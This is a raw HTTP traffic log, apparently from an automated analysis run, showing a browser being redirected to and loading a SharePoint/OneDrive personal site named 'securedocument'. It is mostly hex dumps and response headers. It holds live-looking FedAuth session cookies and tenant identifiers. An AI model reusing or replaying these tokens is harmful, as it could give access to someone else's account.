0,0,0,0,0,0,0,0 X-SharePointHealthScore: 3 X-MS-SPO-CookieValidator: lt+cg9cy5OV5wx+V/h9TH4KiYCbjRA8xmvit6gFhv/N+5XBd2VMASLrh165qzAaKwQwL7mjuOoi42hqEN86RVMW6CCNsM2M6+1tWOgqBvdsHFqU+Ft3xRCWi0sYtzUTxeTfMUxZP8ZaZKwx9YNPlsmDTHSWyy/kGupkNr593TtD4gJwRwTRW7HbvDV8quTQlZ88mE9eoy8h9+S4pJZ8kBIWu5IOMzjhaoUq5oRG8wdVAXDxjL+Q5FxXiO/DIB5W2H/NHZnRtf+HPv5KQWuGQ9h0Z3RAOgQVLkw1y3LMdqz5VxbsoiFtTwkUJYV3E9q+AAGCN5fe6L+xKbfciyXDwNA== X-AspNet-Version: 4.0.30319 IsOCDI: 0 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: b6ad8da1-a011-8000-6ce4-996f3cad6613 request-id: b6ad8da1-a011-8000-6ce4-996f3cad6613 MS-CV: oY2tthGgAIBs5JlvPK1mEw.0 Alt-Svc: h3=":443";ma=86400 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=81e50312-74cf-4ac5-b205-211e7cbe5add&destinationEndpoint=Edge-Prod-EWR31r5c&frontEnd=AFD&RemoteIP=161.77.13.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com m365.cloud.microsoft .cloud.microsoft .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com .onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 269 SPIisLatency: 4 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25905 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 7E3828053FC04BBB839D368D61362668 Ref B: EWR311000105019 Ref C: 2025-03-24T15:03:56Z Date: Mon, 24 Mar 2025 15:03:56 GMT Connection: close
2025-03-24 15:03:56 UTC	309	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 6f 73 74 75 72 65 73 68 69 66 74 2d 6d 79 2e 73 68 61 72 65 70 6f 69 6e 74 2e 63 6f 6d 2f 70 65 72 73 6f 6e 61 6c 2f 73 65 63 75 72 65 64 6f 63 75 6d 65 6e 74 5f 70 6f 73 74 75 72 65 73 68 69 66 74 5f 63 6f 6d 2f 5f 6c 61 79 6f 75 74 73 2f 31 35 2f 6f 6e 65 64 72 69 76 65 2e 61 73 70 78 3f 69 64 3d 25 32 46 70 65 72 73 6f 6e 61 6c 25 32 46 73 65 63 75 72 65 64 6f 63 75 6d 65 6e 74 25 35 46 70 6f 73 74 75 72 65 73 68 69 66 74 25 35 46 63 6f 6d 25 32 46 44 6f 63 75 6d 65 6e 74 73 25 32 Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="https://postureshift-my.sharepoint.com/personal/securedocument_postureshift_com/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fsecuredocument%5Fpostureshift%5Fcom%2FDocuments%2

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:03:57 UTC	1991	OUT	GET /personal/securedocument_postureshift_com/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fsecuredocument%5Fpostureshift%5Fcom%2FDocuments%2FSharePoint&ga=1 HTTP/1.1 Host: postureshift-my.sharepoint.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhp [TRUNCATED]
2025-03-24 15:03:57 UTC	11229	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 364305 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVG [TRUNCATED] X-NetworkStatistics: 0,4194720,101,43,5149108,784629,784629,41854 X-SharePointHealthScore: 1 Referrer-Policy: no-referrer, strict-origin-when-cross-origin Reporting-Endpoints: cspendpoint="https://postureshift-my.sharepoint.com/personal/securedocument_postureshift_com/_layouts/15/CSPReporting.aspx" X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com .office365.com .powerapps.com .yammer.com engage.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com .powerapps.com .yammer.com engage.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com .onedrive.live.com securebroker.sharepointonline.com .cloud.microsoft .powerbi.com; Content-Security-Policy-Report-Only: base-uri 'none';;report-to cspendpoint Content-Security-Policy: worker-src 'self' blob:;script-src https://contentstorage.osi.office.net https://swx.cdn.skype.com https://res.delve.office.com https://lpcres.delve.office.com https://widget.uservoice.com https://by2.uservoice.com https://www.bing.com/api/maps/ https://www.bing.com/rms/ https://fabriciss.azureedge.net https://publiccdn.sharepointonline.com https://ajax.aspnetcdn.com https://res-1.cdn.office.net https://res-1.cdn.office.net https://res-2.cdn.office.net https://webshell.suite.office.com https://amcdn.msftauth.net .cdn.office.net .fluidpreview.office.net https://res-1.cdn.office.net https://teams.microsoft.com https://js.monitor.azure.com https://r4.res.office365.com https://c1-excel-15.cdn.office.net https://c1-onenote-15.cdn.office.net https://c1-powerpoint-15.cdn.office.net https://c1-visio-15.cdn.office.net https://c1-word-view-15.cdn.office.net https://loki.delve.office.com https://res.cdn.office.net/midgard/ https://substrate.office.com 'unsafe-eval' 'nonce-5439f3eb-c609-410c-b9 [TRUNCATED] Content-Security-Policy-Report-Only: style-src https://contentstorage.osi.office.net https://swx.cdn.skype.com https://res.delve.office.com https://lpcres.delve.office.com https://widget.uservoice.com https://by2.uservoice.com https://www.bing.com/api/maps/ https://www.bing.com/rms/ https://fabriciss.azureedge.net https://publiccdn.sharepointonline.com https://ajax.aspnetcdn.com https://res-1.cdn.office.net https://res-1.cdn.office.net https://res-2.cdn.office.net https://webshell.suite.office.com https://amcdn.msftauth.net .cdn.office.net *.fluidpreview.office.net https://res-1.cdn.office.net https://teams.microsoft.com https://js.monitor.azure.com https://r4.res.office365.com https://c1-excel-15.cdn.office.net https://c1-onenote-15.cdn.office.net https://c1-powerpoint-15.cdn.office.net https://c1-visio-15.cdn.office.net https://c1-word-view-15.cdn.office.net https://loki.delve.office.com https://res.cdn.office.net/midgard/ https://substrate.office.com 'self' blob: 'unsafe-inline';connect-src 'self' blob: h [TRUNCATED] X-Service-Worker-Application-Id: STS X-AspNet-Version: 4.0.30319 IsOCDI: 0 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: b6ad8da1-204a-8000-6ce4-942dbf850b07 request-id: b6ad8da1-204a-8000-6ce4-942dbf850b07 MS-CV: oY2ttkogAIBs5JQtv4ULBw.0 Alt-Svc: h3=":443";ma=86400 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=81e50312-74cf-4ac5-b205-211e7cbe5add&destinationEndpoint=Edge-Prod-EWR31r5d&frontEnd=AFD&RemoteIP=161.77.13.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 SPRequestDuration: 231 SPIisLatency: 3 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25905 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: FA7C76C9D22F4907B3436338BDE661A7 Ref B: EWR311000107021 Ref C: 2025-03-24T15:03:57Z Date: Mon, 24 Mar 2025 15:03:57 GMT Connection: close
2025-03-24 15:03:57 UTC	1014	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 47 45 4e 45 52 41 54 4f 52 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 69 63 72 6f 73 6f 66 74 20 53 68 61 72 65 50 6f 69 6e 74 22 20 2f 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"><head><meta name="GENERATOR" content="Microsoft SharePoint" /><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta http-equiv="E
2025-03-24 15:03:57 UTC	4263	IN	Data Raw: 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 69 64 3d 22 53 75 69 74 65 4e 61 76 53 68 65 6c 6c 43 6f 72 65 22 20 6e 6f 6e 63 65 3d 22 35 34 33 39 66 33 65 62 2d 63 36 30 39 2d 34 31 30 63 2d 62 39 37 37 2d 61 61 30 30 64 36 33 62 30 37 39 32 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 68 65 6c 6c 2e 63 64 6e 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 61 70 69 2f 53 68 65 6c 6c 42 6f 6f 74 73 74 72 61 70 70 65 72 2f 62 75 73 69 6e 65 73 73 2f 4f 6e 65 53 68 65 6c 6c 22 3e 0d 0a 0d 0a 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 35 34 33 39 Data Ascii: ipt type="text/javascript" id="SuiteNavShellCore" nonce="5439f3eb-c609-410c-b977-aa00d63b0792" crossorigin="anonymous" async src="https://shell.cdn.office.net/api/ShellBootstrapper/business/OneShell"></script><script type="text/javascript" nonce="5439
2025-03-24 15:03:57 UTC	8192	IN	Data Raw: 54 65 78 74 3a 20 73 65 61 72 63 68 51 75 65 72 79 2c 20 65 6e 61 62 6c 65 44 65 6c 61 79 4c 6f 61 64 69 6e 67 3a 20 74 72 75 65 2c 20 63 6f 6c 6c 61 70 73 65 4f 33 36 35 53 65 74 74 69 6e 67 73 3a 20 66 61 6c 73 65 2c 20 64 69 73 61 62 6c 65 44 65 6c 61 79 4c 6f 61 64 3a 20 66 61 6c 73 65 2c 20 64 69 73 61 62 6c 65 53 68 65 6c 6c 50 6c 75 73 3a 20 66 61 6c 73 65 2c 20 69 73 54 68 69 6e 48 65 61 64 65 72 3a 20 74 72 75 65 2c 20 65 6e 61 62 6c 65 4c 65 67 61 63 79 52 65 73 70 6f 6e 73 69 76 65 42 65 68 61 76 69 6f 72 3a 20 66 61 6c 73 65 2c 20 65 78 70 65 63 74 53 65 61 72 63 68 42 6f 78 53 65 74 74 69 6e 67 73 3a 20 74 72 75 65 2c 20 64 61 72 6b 41 63 63 65 6e 74 3a 20 27 23 38 32 43 37 46 46 27 2c 20 73 68 65 6c 6c 41 75 74 68 50 72 6f 76 69 64 65 72 43 Data Ascii: Text: searchQuery, enableDelayLoading: true, collapseO365Settings: false, disableDelayLoad: false, disableShellPlus: false, isThinHeader: true, enableLegacyResponsiveBehavior: false, expectSearchBoxSettings: true, darkAccent: '#82C7FF', shellAuthProviderC
2025-03-24 15:03:57 UTC	8192	IN	Data Raw: 6c 68 4e 6a 59 78 59 6a 52 68 4e 57 4d 32 5a 54 5a 6c 5a 47 49 79 4d 6d 49 31 59 7a 56 68 5a 54 41 78 4d 54 68 6d 5a 6a 6c 6c 59 54 6c 6a 5a 6d 52 6b 4e 6a 4d 78 4e 54 41 7a 5a 54 41 7a 4d 54 41 32 5a 6a 67 31 5a 44 64 6c 4f 47 52 69 4e 73 67 42 41 51 2e 64 44 64 43 50 32 65 4c 75 57 71 55 72 47 39 41 56 6c 74 56 54 42 39 38 38 65 4d 36 6d 42 44 30 4a 6a 34 4e 35 76 35 55 6a 6d 38 22 7d 2c 22 76 61 6e 69 74 79 55 72 6c 73 22 3a 7b 7d 2c 22 6d 75 6c 74 69 47 65 6f 49 6e 66 6f 22 3a 5b 7b 22 49 6e 73 74 61 6e 63 65 49 64 22 3a 22 30 61 35 31 31 30 34 62 2d 36 37 35 65 2d 34 32 65 37 2d 38 32 31 62 2d 32 63 66 61 38 64 63 33 64 63 37 66 22 2c 22 44 61 74 61 4c 6f 63 61 74 69 6f 6e 22 3a 22 22 2c 22 49 73 44 65 66 61 75 6c 74 44 61 74 61 4c 6f 63 61 74 69 6f Data Ascii: lhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNsgBAQ.dDdCP2eLuWqUrG9AVltVTB988eM6mBD0Jj4N5v5Ujm8"},"vanityUrls":{},"multiGeoInfo":[{"InstanceId":"0a51104b-675e-42e7-821b-2cfa8dc3dc7f","DataLocation":"","IsDefaultDataLocatio
2025-03-24 15:03:57 UTC	8192	IN	Data Raw: 44 39 2d 34 36 35 32 2d 38 36 46 45 2d 36 31 42 46 32 36 39 35 35 46 46 31 22 3a 74 72 75 65 2c 22 36 32 31 39 37 46 39 45 2d 35 32 35 34 2d 34 34 43 43 2d 38 44 31 37 2d 45 37 36 37 31 45 43 39 36 33 36 34 22 3a 74 72 75 65 2c 22 31 46 32 35 32 32 35 31 2d 46 35 34 36 2d 35 38 32 30 2d 41 43 33 36 2d 45 39 37 46 41 30 38 44 42 37 37 34 22 3a 74 72 75 65 2c 22 37 31 46 43 43 36 36 39 2d 30 42 30 30 2d 34 44 43 36 2d 41 34 37 44 2d 43 38 46 37 32 30 46 44 41 32 31 37 22 3a 74 72 75 65 2c 22 32 42 37 42 31 35 34 42 2d 32 42 33 39 2d 34 46 39 33 2d 38 43 38 30 2d 38 36 31 32 30 37 31 41 46 38 35 35 22 3a 74 72 75 65 2c 22 33 36 37 45 35 43 35 39 2d 35 38 34 35 2d 34 36 36 41 2d 38 33 39 30 2d 33 33 30 41 37 39 45 34 33 31 30 36 22 3a 74 72 75 65 2c 22 32 45 Data Ascii: D9-4652-86FE-61BF26955FF1":true,"62197F9E-5254-44CC-8D17-E7671EC96364":true,"1F252251-F546-5820-AC36-E97FA08DB774":true,"71FCC669-0B00-4DC6-A47D-C8F720FDA217":true,"2B7B154B-2B39-4F93-8C80-8612071AF855":true,"367E5C59-5845-466A-8390-330A79E43106":true,"2E
2025-03-24 15:03:57 UTC	8192	IN	Data Raw: 41 46 45 39 2d 30 43 43 43 45 37 31 32 37 46 36 38 22 3a 74 72 75 65 2c 22 35 35 30 41 35 42 43 38 2d 30 45 33 37 2d 34 43 31 41 2d 41 41 42 38 2d 42 37 43 41 35 45 38 42 42 38 30 30 22 3a 74 72 75 65 2c 22 46 36 46 46 45 36 31 34 2d 42 44 46 33 2d 34 39 38 33 2d 41 44 34 32 2d 39 31 36 42 37 43 36 31 43 32 46 42 22 3a 74 72 75 65 2c 22 37 38 38 36 34 39 46 44 2d 36 39 31 31 2d 34 44 45 37 2d 39 39 33 31 2d 45 35 37 32 31 38 38 33 35 43 32 39 22 3a 74 72 75 65 2c 22 45 37 46 45 39 44 43 42 2d 37 46 41 42 2d 34 39 38 43 2d 42 42 37 45 2d 34 45 31 37 33 38 32 34 42 36 37 31 22 3a 74 72 75 65 2c 22 30 31 33 35 34 35 32 30 2d 42 38 45 33 2d 34 36 35 45 2d 38 43 31 41 2d 30 36 38 35 31 43 30 31 38 33 36 34 22 3a 74 72 75 65 2c 22 42 42 39 33 30 39 32 36 2d 39 Data Ascii: AFE9-0CCCE7127F68":true,"550A5BC8-0E37-4C1A-AAB8-B7CA5E8BB800":true,"F6FFE614-BDF3-4983-AD42-916B7C61C2FB":true,"788649FD-6911-4DE7-9931-E57218835C29":true,"E7FE9DCB-7FAB-498C-BB7E-4E173824B671":true,"01354520-B8E3-465E-8C1A-06851C018364":true,"BB930926-9
2025-03-24 15:03:57 UTC	8192	IN	Data Raw: 46 39 46 38 43 46 31 31 30 22 3a 74 72 75 65 2c 22 30 42 45 41 39 44 32 33 2d 38 30 34 46 2d 34 31 45 31 2d 39 41 41 30 2d 36 32 44 34 35 37 41 33 30 42 43 45 22 3a 74 72 75 65 2c 22 39 38 30 30 36 38 30 38 2d 33 38 44 32 2d 34 45 39 34 2d 38 33 30 41 2d 46 43 45 38 42 37 34 38 35 33 37 45 22 3a 74 72 75 65 2c 22 45 43 35 33 32 42 37 33 2d 31 34 39 33 2d 34 33 43 37 2d 38 46 39 43 2d 34 32 44 31 45 39 32 36 41 36 37 35 22 3a 74 72 75 65 2c 22 36 45 38 38 34 31 43 34 2d 44 32 32 31 2d 34 36 30 35 2d 42 30 30 37 2d 32 42 46 32 41 34 45 39 46 41 31 39 22 3a 74 72 75 65 2c 22 41 41 38 30 46 41 30 32 2d 39 39 46 35 2d 34 34 33 41 2d 39 34 39 45 2d 44 41 33 33 33 44 42 45 33 31 37 39 22 3a 74 72 75 65 2c 22 37 36 30 39 34 32 38 45 2d 33 43 38 45 2d 34 30 34 38 Data Ascii: F9F8CF110":true,"0BEA9D23-804F-41E1-9AA0-62D457A30BCE":true,"98006808-38D2-4E94-830A-FCE8B748537E":true,"EC532B73-1493-43C7-8F9C-42D1E926A675":true,"6E8841C4-D221-4605-B007-2BF2A4E9FA19":true,"AA80FA02-99F5-443A-949E-DA333DBE3179":true,"7609428E-3C8E-4048
2025-03-24 15:03:57 UTC	8192	IN	Data Raw: 42 22 3a 74 72 75 65 2c 22 44 45 38 43 44 45 42 43 2d 37 39 41 35 2d 34 46 35 32 2d 38 30 30 39 2d 34 34 37 43 42 43 31 43 36 38 32 41 22 3a 74 72 75 65 2c 22 41 31 31 44 44 43 32 33 2d 38 41 39 35 2d 34 31 35 36 2d 39 33 30 36 2d 31 42 44 35 38 43 41 35 42 42 32 45 22 3a 74 72 75 65 2c 22 36 34 39 36 43 46 46 32 2d 39 35 33 45 2d 34 39 30 39 2d 39 33 35 35 2d 37 33 39 38 38 44 43 39 36 44 33 39 22 3a 74 72 75 65 2c 22 41 46 37 36 43 34 39 43 2d 43 31 42 31 2d 34 43 36 31 2d 38 32 37 45 2d 41 39 46 33 39 31 43 37 35 33 42 36 22 3a 74 72 75 65 2c 22 32 43 32 42 34 37 41 38 2d 31 41 35 34 2d 34 32 41 39 2d 42 35 30 35 2d 46 33 41 33 36 35 44 30 31 30 35 38 22 3a 74 72 75 65 2c 22 34 37 45 43 41 39 44 37 2d 43 41 35 30 2d 34 35 32 46 2d 39 43 45 41 2d 37 44 Data Ascii: B":true,"DE8CDEBC-79A5-4F52-8009-447CBC1C682A":true,"A11DDC23-8A95-4156-9306-1BD58CA5BB2E":true,"6496CFF2-953E-4909-9355-73988DC96D39":true,"AF76C49C-C1B1-4C61-827E-A9F391C753B6":true,"2C2B47A8-1A54-42A9-B505-F3A365D01058":true,"47ECA9D7-CA50-452F-9CEA-7D
2025-03-24 15:03:57 UTC	8192	IN	Data Raw: 22 46 44 43 35 39 30 32 39 2d 45 43 41 33 2d 34 34 43 31 2d 41 44 34 31 2d 35 38 35 32 36 46 42 41 39 46 35 31 22 3a 74 72 75 65 2c 22 46 37 46 38 36 33 33 41 2d 36 33 39 35 2d 34 32 31 45 2d 41 33 38 39 2d 31 43 34 43 39 43 44 37 34 32 39 42 22 3a 74 72 75 65 2c 22 33 44 42 31 36 46 32 30 2d 31 38 36 30 2d 34 46 43 41 2d 39 36 35 46 2d 42 36 31 35 42 43 32 37 39 33 32 38 22 3a 74 72 75 65 2c 22 30 46 45 31 41 44 43 31 2d 30 36 34 43 2d 34 41 37 42 2d 41 45 38 37 2d 37 39 42 46 37 34 33 34 35 42 37 30 22 3a 74 72 75 65 2c 22 32 46 35 33 37 45 43 39 2d 37 37 39 41 2d 34 44 36 34 2d 42 44 32 34 2d 34 42 33 31 37 36 37 36 43 43 38 45 22 3a 74 72 75 65 2c 22 32 45 46 42 46 31 45 42 2d 34 44 30 41 2d 34 37 33 34 2d 39 33 33 30 2d 33 35 32 38 34 42 37 41 46 38 Data Ascii: "FDC59029-ECA3-44C1-AD41-58526FBA9F51":true,"F7F8633A-6395-421E-A389-1C4C9CD7429B":true,"3DB16F20-1860-4FCA-965F-B615BC279328":true,"0FE1ADC1-064C-4A7B-AE87-79BF74345B70":true,"2F537EC9-779A-4D64-BD24-4B317676CC8E":true,"2EFBF1EB-4D0A-4734-9330-35284B7AF8
2025-03-24 15:03:57 UTC	8192	IN	Data Raw: 33 2d 46 32 31 45 2d 34 46 32 38 2d 41 38 36 36 2d 39 30 33 45 34 46 34 34 38 43 35 32 22 3a 74 72 75 65 2c 22 31 31 43 46 32 33 43 42 2d 43 42 30 35 2d 34 36 30 33 2d 39 34 37 36 2d 44 41 39 45 37 35 33 37 39 35 37 41 22 3a 74 72 75 65 2c 22 33 41 39 42 41 38 36 39 2d 35 45 32 35 2d 34 30 44 45 2d 39 38 30 39 2d 34 33 32 39 33 36 31 32 37 37 46 46 22 3a 74 72 75 65 2c 22 46 36 31 43 42 44 32 41 2d 34 45 34 31 2d 34 34 34 30 2d 38 33 43 44 2d 38 30 36 42 41 43 42 46 37 30 39 44 22 3a 74 72 75 65 2c 22 37 31 33 33 30 38 36 38 2d 38 39 46 39 2d 34 41 41 30 2d 39 35 38 37 2d 34 35 34 45 35 35 45 35 36 35 42 34 22 3a 74 72 75 65 2c 22 37 35 30 30 44 41 35 30 2d 36 34 41 43 2d 34 35 39 37 2d 42 44 42 30 2d 34 39 41 33 31 42 32 42 44 34 42 42 22 3a 74 72 75 65 Data Ascii: 3-F21E-4F28-A866-903E4F448C52":true,"11CF23CB-CB05-4603-9476-DA9E7537957A":true,"3A9BA869-5E25-40DE-9809-4329361277FF":true,"F61CBD2A-4E41-4440-83CD-806BACBF709D":true,"71330868-89F9-4AA0-9587-454E55E565B4":true,"7500DA50-64AC-4597-BDB0-49A31B2BD4BB":true

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:03:58 UTC	1562	OUT	GET /_layouts/15/spwebworkerproxy.ashx HTTP/1.1 Host: postureshift-my.sharepoint.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: 